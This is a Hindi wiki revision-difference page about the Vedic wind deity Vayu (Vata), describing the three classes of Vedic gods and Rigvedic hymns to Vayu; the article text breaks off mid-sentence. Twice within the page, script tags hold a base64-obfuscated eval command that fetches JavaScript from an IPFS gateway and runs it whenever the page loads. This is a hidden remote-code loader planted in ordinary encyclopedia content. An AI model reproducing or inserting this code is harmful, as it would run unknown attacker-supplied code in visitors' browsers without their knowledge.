"वायु देव" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति १: पंक्ति १:
 
{{menu}}<br />
 
{{menu}}<br />
{{incomplet}}
+
{{Incomplete}}
 
==वायु / वात / vayu dev==
 
==वायु / वात / vayu dev==
 
वैदिक देवताओं को तीन श्रेणियों में विभक्त किया गया है;  
 
वैदिक देवताओं को तीन श्रेणियों में विभक्त किया गया है;  

०८:१३, २७ नवम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वायु / वात / vayu dev

वैदिक देवताओं को तीन श्रेणियों में विभक्त किया गया है;

  1. पार्थिव ,
  2. वायवीय एवं
  3. आकाशीय । इनमें वायवीय देवों में वायु प्रधान देवता है । इसका एक पर्याय वात भी है । वायु , वात दोनों ही भौतिक तत्त्व एवं दैवी व्यक्त्तित्व के बोधक हैं किंतु वायु से विशेष कर देवता एवं वात से आँधी का बोध होता है । ॠग्वेद में केवल एक ही पूर्ण सूक्त वायु की स्तुति में है (1॰139) तथा वात के लिये दो हैं (10.168,186.) ।वायु का प्रसिद्ध विरुद ‘नियुत्वान्’ है जिससे इसके सदा चलते रहने का बोध होता है । वायु मन्द के सिवा तीन प्रकार का होता है: (1) धूल-पत्ते उड़ाता हुआ (2) वर्षाकर एवं (3) वर्षा के साथ चलने वाला झंझावात । तीनों प्रकार वात के हैं जबकि वायु का स्वरूप बड़ा ही कोमल वर्णित है । प्रात: कालीन समीर (वायु)